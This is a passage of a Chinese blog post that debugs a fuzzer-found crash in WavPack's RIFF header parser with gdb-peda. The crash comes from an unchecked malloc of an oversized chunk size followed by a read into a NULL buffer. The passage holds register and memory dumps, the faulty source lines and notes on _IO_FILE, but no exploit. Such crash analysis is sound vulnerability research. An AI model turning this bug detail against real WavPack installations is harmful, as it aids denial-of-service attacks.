class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br></pre></td><td class="code"><pre><span class="line">------------------------------------------------------------------------------]</span><br><span class="line"><span class="symbol">Legend:</span> code, data, rodata, value</span><br><span class="line"><span class="number">289</span> char *buff = malloc (bytes_to_copy); <span class="comment"># <-----------------申请2G内存区域,申请失败返回0,导致没有申请成功</span></span><br><span class="line">gdb-peda$ p bytes_to_copy</span><br><span class="line">$<span class="number">4</span> = <span class="number">0x95959596</span></span><br><span class="line">gdb-peda$ n</span><br><span class="line">[----------------------------------registers-----------------------------------]</span><br><span class="line"><span class="symbol">RAX:</span> <span class="number">0x0</span> </span><br><span class="line"><span class="symbol">RBX:</span> <span class="number">0x7fffffffbc7c</span> --> <span class="number">0x8</span> </span><br><span class="line"><span class="symbol">RCX:</span> <span class="number">0x9595</span> </span><br><span class="line"><span class="symbol">RDX:</span> <span class="number">0x95959595</span> </span><br><span class="line"><span class="symbol">RSI:</span> <span class="number">0x959595</span> </span><br><span class="line"><span class="symbol">RDI:</span> <span class="number">0x0</span> </span><br><span class="line"><span class="symbol">RBP:</span> <span class="number">0x555555675580</span> --> <span class="number">0xfbad2488</span> </span><br><span class="line"><span class="symbol">RSP:</span> <span class="number">0x7fffffffbc40</span> --> <span class="number">0x0</span> </span><br><span class="line"><span class="symbol">RIP:</span> <span class="number">0x55555559bfcb</span> (<ParseRiffHeaderConfig+<span class="number">3515</span>>: test r8d,r8d)</span><br><span class="line">R8 : <span class="number">0x0</span> </span><br><span class="line">R9 : <span class="number">0x95959595</span> </span><br><span class="line"><span class="symbol">R10:</span> <span class="number">0x2</span> </span><br><span class="line"><span class="symbol">R11:</span> <span class="number">0x7ffff793a900</span> --> <span class="number">0x9595959595959595</span> </span><br><span class="line"><span class="symbol">R12:</span> <span class="number">0x7fffffffbed0</span> --> <span class="number">0x0</span> </span><br><span class="line"><span class="symbol">R13:</span> <span class="number">0x555555675300</span> --> <span class="number">0x0</span> </span><br><span class="line"><span class="symbol">R14:</span> <span class="number">0x95959596</span> </span><br><span class="line"><span class="symbol">R15:</span> <span class="number">0x7fffffffbca0</span> --> <span class="number">0x9595959595959595</span></span><br><span class="line"><span class="symbol">EFLAGS:</span> <span class="number">0x246</span> (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)</span><br><span class="line">[-------------------------------------code-------------------------------------]</span><br><span class="line"> <span class="number">0x55555559bfbc</span> <ParseRiffHeaderConfig+<span class="number">3500</span>>: mov r8d,DWORD PTR [rip+<span class="number">0xd84fd</span>] <span class="comment"># 0x5555556744c0 <debug_logging_mode></span></span><br><span class="line"> <span class="number">0x55555559bfc3</span> <ParseRiffHeaderConfig+<span class="number">3507</span>>: mov r9d,DWORD PTR [rsp+<span class="number">0x28</span>]</span><br><span class="line"> <span class="number">0x55555559bfc8</span> <ParseRiffHeaderConfig+<span class="number">3512</span>>: mov rdi,rax</span><br><span class="line">=> <span class="number">0x55555559bfcb</span> <ParseRiffHeaderConfig+<span class="number">3515</span>>: test r8d,r8d</span><br><span class="line"> <span class="number">0x55555559bfce</span> <ParseRiffHeaderConfig+<span class="number">3518</span>>: je <span class="number">0x55555559c035</span> <ParseRiffHeaderConfig+<span class="number">3621</span>></span><br><span class="line"> <span class="number">0x55555559bfd0</span> <ParseRiffHeaderConfig+<span class="number">3520</span>>: lea rsp,[rsp-<span class="number">0x98</span>]</span><br><span class="line"> <span class="number">0x55555559bfd8</span> <ParseRiffHeaderConfig+<span class="number">3528</span>>: mov QWORD PTR [rsp],rdx</span><br><span class="line"> <span class="number">0x55555559bfdc</span> <ParseRiffHeaderConfig+<span class="number">3532</span>>: mov QWORD PTR [rsp+<span class="number">0x8</span>],rcx</span><br><span class="line">[------------------------------------stack-------------------------------------]</span><br><span class="line"><span class="number">0000</span>| <span class="number">0x7fffffffbc40</span> --> <span class="number">0x0</span> </span><br><span class="line"><span class="number">0008</span>| <span class="number">0x7fffffffbc48</span> --> <span class="number">0x5555556752c0</span> (<span class="string">"test09.wav"</span>)</span><br><span class="line"><span class="number">0016</span>| <span class="number">0x7fffffffbc50</span> --> <span class="number">0x68b81</span> </span><br><span class="line"><span class="number">0024</span>| <span class="number">0x7fffffffbc58</span> --> <span class="number">0x7fffffffbcc0</span> --> <span class="number">0x0</span> </span><br><span class="line"><span class="number">0032</span>| <span class="number">0x7fffffffbc60</span> --> <span class="number">0x1</span> </span><br><span class="line"><span class="number">0040</span>| <span class="number">0x7fffffffbc68</span> --> <span class="number">0x555595959595</span> </span><br><span class="line"><span class="number">0048</span>| <span class="number">0x7fffffffbc70</span> --> <span class="number">0x3</span> </span><br><span class="line"><span class="number">0056</span>| <span class="number">0x7fffffffbc78</span> --> <span class="number">0x800000000</span> </span><br><span class="line">[------------------------------------------------------------------------------]</span><br><span class="line"><span class="symbol">Legend:</span> code, data, rodata, value</span><br><span class="line"><span class="number">291</span> <span class="keyword">if</span> (debug_logging_mode)</span><br><span class="line">gdb-peda$ n</span><br><span class="line">[----------------------------------registers-----------------------------------]</span><br><span class="line"><span class="symbol">RAX:</span> <span class="number">0x0</span> </span><br><span class="line"><span class="symbol">RBX:</span> <span class="number">0x7fffffffbc7c</span> --> <span class="number">0x8</span> </span><br><span class="line"><span class="symbol">RCX:</span> <span class="number">0x9595</span> </span><br><span class="line"><span class="symbol">RDX:</span> <span class="number">0x95959595</span> </span><br><span class="line"><span class="symbol">RSI:</span> <span class="number">0x959595</span> </span><br><span class="line"><span class="symbol">RDI:</span> <span class="number">0x0</span> </span><br><span class="line"><span class="symbol">RBP:</span> <span class="number">0x555555675580</span> --> <span class="number">0xfbad2488</span> </span><br><span class="line"><span class="symbol">RSP:</span> <span class="number">0x7fffffffbc40</span> --> <span class="number">0x0</span> </span><br><span class="line"><span class="symbol">RIP:</span> <span class="number">0x55555559c035</span> (<ParseRiffHeaderConfig+<span class="number">3621</span>>: nop DWORD PTR [rax])</span><br><span class="line">R8 : <span class="number">0x0</span> </span><br><span class="line">R9 : <span class="number">0x95959595</span> </span><br><span class="line"><span class="symbol">R10:</span> <span class="number">0x2</span> </span><br><span class="line"><span class="symbol">R11:</span> <span class="number">0x7ffff793a900</span> --> <span class="number">0x9595959595959595</span> </span><br><span class="line"><span class="symbol">R12:</span> <span class="number">0x7fffffffbed0</span> --> <span class="number">0x0</span> </span><br><span class="line"><span class="symbol">R13:</span> <span class="number">0x555555675300</span> --> <span class="number">0x0</span> </span><br><span class="line"><span class="symbol">R14:</span> <span class="number">0x95959596</span> </span><br><span class="line"><span class="symbol">R15:</span> <span class="number">0x7fffffffbca0</span> --> <span class="number">0x9595959595959595</span></span><br><span class="line"><span class="symbol">EFLAGS:</span> <span class="number">0x246</span> (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)</span><br><span class="line">[-------------------------------------code-------------------------------------]</span><br><span class="line"> <span class="number">0x55555559c029</span> <ParseRiffHeaderConfig+<span class="number">3609</span>>: xor eax,eax</span><br><span class="line"> <span class="number">0x55555559c02b</span> <ParseRiffHeaderConfig+<span class="number">3611</span>>: call <span class="number">0x5555555b47d0</span> <error_line></span><br><span class="line"> <span class="number">0x55555559c030</span> <ParseRiffHeaderConfig+<span class="number">3616</span>>: mov rdi,QWORD PTR [rsp+<span class="number">0x28</span>]</span><br><span class="line">=> <span class="number">0x55555559c035</span> <ParseRiffHeaderConfig+<span class="number">3621</span>>: nop DWORD PTR [rax]</span><br><span class="line"> <span class="number">0x55555559c038</span> <ParseRiffHeaderConfig+<span class="number">3624</span>>: lea rsp,[rsp-<span class="number">0x98</span>]</span><br><span class="line"> <span class="number">0x55555559c040</span> <ParseRiffHeaderConfig+<span class="number">3632</span>>: mov QWORD PTR [rsp],rdx</span><br><span class="line"> <span class="number">0x55555559c044</span> <ParseRiffHeaderConfig+<span class="number">3636</span>>: mov QWORD PTR [rsp+<span class="number">0x8</span>],rcx</span><br><span class="line"> <span class="number">0x55555559c049</span> <ParseRiffHeaderConfig+<span class="number">3641</span>>: mov QWORD PTR [rsp+<span class="number">0x10</span>],rax</span><br><span class="line">[------------------------------------stack-------------------------------------]</span><br><span class="line"><span class="number">0000</span>| <span class="number">0x7fffffffbc40</span> --> <span class="number">0x0</span> </span><br><span class="line"><span class="number">0008</span>| <span class="number">0x7fffffffbc48</span> --> <span class="number">0x5555556752c0</span> (<span class="string">"test09.wav"</span>)</span><br><span class="line"><span class="number">0016</span>| <span class="number">0x7fffffffbc50</span> --> <span class="number">0x68b81</span> </span><br><span class="line"><span class="number">0024</span>| <span class="number">0x7fffffffbc58</span> --> <span class="number">0x7fffffffbcc0</span> --> <span class="number">0x0</span> </span><br><span class="line"><span class="number">0032</span>| <span class="number">0x7fffffffbc60</span> --> <span class="number">0x1</span> </span><br><span class="line"><span class="number">0040</span>| <span class="number">0x7fffffffbc68</span> --> <span class="number">0x555595959595</span> </span><br><span class="line"><span class="number">0048</span>| <span class="number">0x7fffffffbc70</span> --> <span class="number">0x3</span> </span><br><span class="line"><span class="number">0056</span>| <span class="number">0x7fffffffbc78</span> --> <span class="number">0x800000000</span> </span><br><span class="line">[------------------------------------------------------------------------------]</span><br><span class="line"><span class="symbol">Legend:</span> code, data, rodata, value</span><br><span class="line"><span class="number">296</span> <span class="keyword">if</span> (!DoReadFile (infile, buff, bytes_to_copy, &bcount) ||</span><br><span class="line">gdb-peda$ p buff</span><br><span class="line">$<span class="number">5</span> = <optimized <span class="keyword">out</span>></span><br><span class="line">gdb-peda$ p bytes_to_copy <span class="comment"># <-----------------进入到读取FIle文件到memecpy的源目的地址中,由于申请的地址为空,则出现错误,无法写入到指定内存区域</span></span><br><span class="line">$<span class="number">6</span> = <span class="number">0x95959596</span></span><br><span class="line">gdb-peda$ vmmap</span><br><span class="line">Start End Perm Name</span><br><span class="line"><span class="number">0x0000555555554000</span> <span class="number">0x0000555555557000</span> r--p /home/pwn/aflsmart/WavPack/cli/wavpack</span><br><span class="line"><span class="number">0x0000555555557000</span> <span class="number">0x0000555555665000</span> r-xp /home/pwn/aflsmart/WavPack/cli/wavpack</span><br><span class="line"><span class="number">0x0000555555665000</span> <span class="number">0x0000555555673000</span> r--p /home/pwn/aflsmart/WavPack/cli/wavpack</span><br><span class="line"><span class="number">0x0000555555673000</span> <span class="number">0x0000555555674000</span> r--p /home/pwn/aflsmart/WavPack/cli/wavpack</span><br><span class="line"><span class="number">0x0000555555674000</span> <span class="number">0x0000555555675000</span> rw-p /home/pwn/aflsmart/WavPack/cli/wavpack</span><br><span class="line"><span class="number">0x0000555555675000</span> <span class="number">0x0000555555696000</span> rw-p [heap]</span><br><span class="line"><span class="number">0x00007ffff78f8000</span> <span class="number">0x00007ffff793b000</span> rw-p mapped</span><br><span class="line"><span class="number">0x00007ffff796a000</span> <span class="number">0x00007ffff796c000</span> rw-p mapped</span><br><span class="line"><span class="number">0x00007ffff796c000</span> <span class="number">0x00007ffff7972000</span> r--p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libpthread</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7972000</span> <span class="number">0x00007ffff7983000</span> r-xp /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libpthread</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7983000</span> <span class="number">0x00007ffff7989000</span> r--p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libpthread</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7989000</span> <span class="number">0x00007ffff798a000</span> r--p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libpthread</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff798a000</span> <span class="number">0x00007ffff798b000</span> rw-p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libpthread</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff798b000</span> <span class="number">0x00007ffff798f000</span> rw-p mapped</span><br><span class="line"><span class="number">0x00007ffff798f000</span> <span class="number">0x00007ffff7990000</span> r--p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libdl</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7990000</span> <span class="number">0x00007ffff7992000</span> r-xp /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libdl</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7992000</span> <span class="number">0x00007ffff7993000</span> r--p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libdl</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7993000</span> <span class="number">0x00007ffff7994000</span> r--p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libdl</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7994000</span> <span class="number">0x00007ffff7995000</span> rw-p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libdl</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7995000</span> <span class="number">0x00007ffff79b7000</span> r--p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libc</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff79b7000</span> <span class="number">0x00007ffff7b2f000</span> r-xp /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libc</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7b2f000</span> <span class="number">0x00007ffff7b7d000</span> r--p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libc</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7b7d000</span> <span class="number">0x00007ffff7b81000</span> r--p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libc</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7b81000</span> <span class="number">0x00007ffff7b83000</span> rw-p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libc</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7b83000</span> <span class="number">0x00007ffff7b87000</span> rw-p mapped</span><br><span class="line"><span class="number">0x00007ffff7b87000</span> <span class="number">0x00007ffff7bff000</span> r--p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libcrypto</span>.<span class="title">so</span>.1.1</span></span><br><span class="line"><span class="number">0x00007ffff7bff000</span> <span class="number">0x00007ffff7d9a000</span> r-xp /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libcrypto</span>.<span class="title">so</span>.1.1</span></span><br><span class="line"><span class="number">0x00007ffff7d9a000</span> <span class="number">0x00007ffff7e2b000</span> r--p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libcrypto</span>.<span class="title">so</span>.1.1</span></span><br><span class="line"><span class="number">0x00007ffff7e2b000</span> <span class="number">0x00007ffff7e57000</span> r--p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libcrypto</span>.<span class="title">so</span>.1.1</span></span><br><span class="line"><span class="number">0x00007ffff7e57000</span> <span class="number">0x00007ffff7e59000</span> rw-p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libcrypto</span>.<span class="title">so</span>.1.1</span></span><br><span class="line"><span class="number">0x00007ffff7e59000</span> <span class="number">0x00007ffff7e5d000</span> rw-p mapped</span><br><span class="line"><span class="number">0x00007ffff7e5d000</span> <span class="number">0x00007ffff7e6a000</span> r--p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libm</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7e6a000</span> <span class="number">0x00007ffff7f11000</span> r-xp /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libm</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7f11000</span> <span class="number">0x00007ffff7faa000</span> r--p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libm</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7faa000</span> <span class="number">0x00007ffff7fab000</span> r--p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libm</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7fab000</span> <span class="number">0x00007ffff7fac000</span> rw-p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libm</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7fac000</span> <span class="number">0x00007ffff7fae000</span> rw-p mapped</span><br><span class="line"><span class="number">0x00007ffff7fc9000</span> <span class="number">0x00007ffff7fcd000</span> r--p [vvar]</span><br><span class="line"><span class="number">0x00007ffff7fcd000</span> <span class="number">0x00007ffff7fcf000</span> r-xp [vdso]</span><br><span class="line"><span class="number">0x00007ffff7fcf000</span> <span class="number">0x00007ffff7fd0000</span> r--p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">ld</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7fd0000</span> <span class="number">0x00007ffff7ff3000</span> r-xp /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">ld</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7ff3000</span> <span class="number">0x00007ffff7ffb000</span> r--p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">ld</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7ffc000</span> <span class="number">0x00007ffff7ffd000</span> r--p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">ld</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7ffd000</span> <span class="number">0x00007ffff7ffe000</span> rw-p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">ld</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7ffe000</span> <span class="number">0x00007ffff7fff000</span> rw-p mapped</span><br><span class="line"><span class="number">0x00007ffffffde000</span> <span class="number">0x00007ffffffff000</span> rw-p [stack]</span><br><span class="line"><span class="number">0xffffffffff600000</span> <span class="number">0xffffffffff601000</span> --xp [vsyscall]</span><br><span class="line"></span><br><span class="line">gdb-peda$</span><br><span class="line">[------------------------------------------------------------------------------]</span><br><span class="line"><span class="symbol">Legend:</span> code, data, rodata, value</span><br><span class="line"><span class="number">0x000055555559c05a</span> in ParseRiffHeaderConfig (infile=<span class="number">0x555555675580</span>, infilename=<span class="number">0x9595</span> <<span class="symbol">error:</span> Cannot access memory at address <span class="number">0x9595</span>>, </span><br><span class="line"> fourcc=<optimized <span class="keyword">out</span>>, wpc=<span class="number">0x555555675300</span>, config=<span class="number">0x7fffffffbed0</span>) at riff.<span class="symbol">c:</span><span class="number">296</span></span><br><span class="line"><span class="number">296</span> <span class="keyword">if</span> (!DoReadFile (infile, buff, bytes_to_copy, &bcount) ||</span><br><span class="line"></span><br><span class="line"><span class="string">``</span><span class="string">`。</span></span><br><span class="line"><span class="string">通过调试,关键点在286行,如下代码段</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">`</span><span class="string">``</span>bash</span><br><span class="line"> int bytes_to_copy = (chunk_header.ckSize + <span class="number">1</span>) & ~<span class="number">1</span>L; <span class="comment"># <<<<<<代码出错的关键点 288行</span></span><br><span class="line"> char *buff = malloc (bytes_to_copy); <span class="comment"># <<<<<<代码出错的关键点 </span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (debug_logging_mode)</span><br><span class="line"> error_line (<span class="string">"extra unknown chunk \"%c%c%c%c\" of %d bytes"</span>,</span><br><span class="line"> chunk_header.ckID [<span class="number">0</span>], chunk_header.ckID [<span class="number">1</span>], chunk_header.ckID [<span class="number">2</span>],</span><br><span class="line"> chunk_header.ckID [<span class="number">3</span>], chunk_header.ckSize);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!DoReadFile (infile, buff, bytes_to_copy, &bcount) ||</span><br><span class="line"> bcount != bytes_to_copy ||</span><br><span class="line"> (!(config->qmode & QMODE_NO_STORE_WRAPPER) &&</span><br><span class="line"> !WavpackAddWrapper (wpc, buff, bytes_to_copy))) {</span><br><span class="line"> error_line (<span class="string">"%s"</span>, WavpackGetErrorMessage (wpc));</span><br><span class="line"> free (buff);</span><br><span class="line"> <span class="keyword">return</span> WAVPACK_SOFT_ERROR;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>
<h2 id="2-4-总结"><a href="#2-4-总结" class="headerlink" title="2.4 总结"></a>2.4 总结</h2><p>  出错核心在malloc函数,在申请内存过程中,申请bytes_to_copy=0x95959596(通过实际计算大约是2G内存),系统在执行中无法满足就返回0,表示堆上申请内存失败。在后续的DoReadFile函数中,依然直接读取0x0处内存地址的数据,导致系统报错,出现段错误。</p>
<h1 id="3-发现的4个问题"><a href="#3-发现的4个问题" class="headerlink" title="3 发现的4个问题"></a>3 发现的4个问题</h1><ol>
<li>一个程序运行可以申请的最大内存应该满足多少?</li>
<li>为什么在调试中,部分不属于申请较大内存的操作也同样报错,这个内存申请的阀值是多少?</li>
<li>wavpack转储文件的格式是什么样的?为什么申请内存是0x95959596,而不是其他值?</li>
<li>其他所欠缺的知识点,包括IO_FILE文件结构、fread函数操作、x64架构下寄存器传参的具体实现?</li>
</ol>
<p>针对上述问题,计划再出几个博客记录,所以在这里不做过多赘述。</p>
<h2 id="4-1-IO-FILE文件结构"><a href="#4-1-IO-FILE文件结构" class="headerlink" title="4.1 IO_FILE文件结构"></a>4.1 IO_FILE文件结构</h2><p>参考知识:_IO_FILE结构体可以看到,IO_read_ptr在地址偏移8字节位置,IO_read_end在偏移16字节的位置,一般情况下IO_read_ptr和IO_read_base保持一致。<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE</span></span></span><br><span class="line"><span class="class">{</span></span><br><span class="line"> <span class="keyword">int</span> _flags; <span class="comment">/* High-order word is _IO_MAGIC; rest is flags. */</span> <span class="comment">// 0偏移,8字节</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">/* The following pointers correspond to the C++ streambuf protocol. */</span> <span class="comment">//8偏移,8字节</span></span><br><span class="line"> <span class="keyword">char</span> *_IO_read_ptr; <span class="comment">/* Current read pointer */</span></span><br><span class="line"> <span class="keyword">char</span> *_IO_read_end; <span class="comment">/* End of get area. */</span></span><br><span class="line"> <span class="keyword">char</span> *_IO_read_base; <span class="comment">/* Start of putback+get area. */</span></span><br><span class="line"> <span class="keyword">char</span> *_IO_write_base; <span class="comment">/* Start of put area. */</span></span><br><span class="line"> <span class="keyword">char</span> *_IO_write_ptr; <span class="comment">/* Current put pointer. */</span></span><br><span class="line"> <span class="keyword">char</span> *_IO_write_end; <span class="comment">/* End of put area. */</span></span><br><span class="line"> <span class="keyword">char</span> *_IO_buf_base; <span class="comment">/* Start of reserve area. */</span></span><br><span class="line"> <span class="keyword">char</span> *_IO_buf_end; <span class="comment">/* End of reserve area. */</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">/* The following fields are used to support backing up and undo. */</span></span><br><span class="line"> <span class="keyword">char</span> *_IO_save_base; <span class="comment">/* Pointer to start of non-current get area. */</span></span><br><span class="line"> <span class="keyword">char</span> *_IO_backup_base; <span class="comment">/* Pointer to first valid character of backup area */</span></span><br><span class="line"> <span class="keyword">char</span> *_IO_save_end; <span class="comment">/* Pointer to end of non-current get area. */</span></span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> _<span class="title">IO_marker</span> *_<span class="title">markers</span>;</span></span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE</span> *_<span class="title">chain</span>;</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">int</span> _fileno;</span><br><span class="line"> <span class="keyword">int</span> _flags2;</span><br></pre></td></tr></table></figure></p>
<p>查看FILE结构体中各字段的具体数值,遵从小端模式:<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ x/32w 0x555555675580</span><br><span class="line">0x555555675580: 0xfbad2488 0x00000000 0x55676258 0x00005555</span><br><span class="line">0x555555675590: 0x55676940 0x00005555 0x55675940 0x00005555</span><br><span class="line">0x5555556755a0: 0x55675940 0x00005555 0x55675940 0x00005555</span><br><span class="line">0x5555556755b0: 0x55675940 0x00005555 0x55675940 0x00005555</span><br></pre></td></tr></table></figure></p>
<p>vmmap查看当前系统能够使用的内存区域,如下方系统显示,不管是超出内存区复制数据抑或覆盖的数据超过现内存边界,都会产生段错误。<br><figure class="highlight crystal"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ vmmap</span><br><span class="line">Start End Perm Name</span><br><span class="line"><span class="number">0x0000555555554000</span> <span class="number">0x0000555555557000</span> r--p /home/pwn/aflsmart/WavPack/cli/wavpack</span><br><span class="line"><span class="number">0x0000555555557000</span> <span class="number">0x0000555555665000</span> r-xp /home/pwn/aflsmart/WavPack/cli/wavpack</span><br><span class="line"><span class="number">0x0000555555665000</span> <span class="number">0x0000555555673000</span> r--p /home/pwn/aflsmart/WavPack/cli/wavpack</span><br><span class="line"><span class="number">0x0000555555673000</span> <span class="number">0x0000555555674000</span> r--p /home/pwn/aflsmart/WavPack/cli/wavpack</span><br><span class="line"><span class="number">0x0000555555674000</span> <span class="number">0x0000555555675000</span> rw-p /home/pwn/aflsmart/WavPack/cli/wavpack</span><br><span class="line"></span><br><span class="line"><span class="number">0x00007ffff7993000</span> <span class="number">0x00007ffff7994000</span> r--p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libdl</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7994000</span> <span class="number">0x00007ffff7995000</span> rw-p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libdl</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7995000</span> <span class="number">0x00007ffff79b7000</span> r--p /usr/<span class="class"><span class="keyword">lib</span>/<span 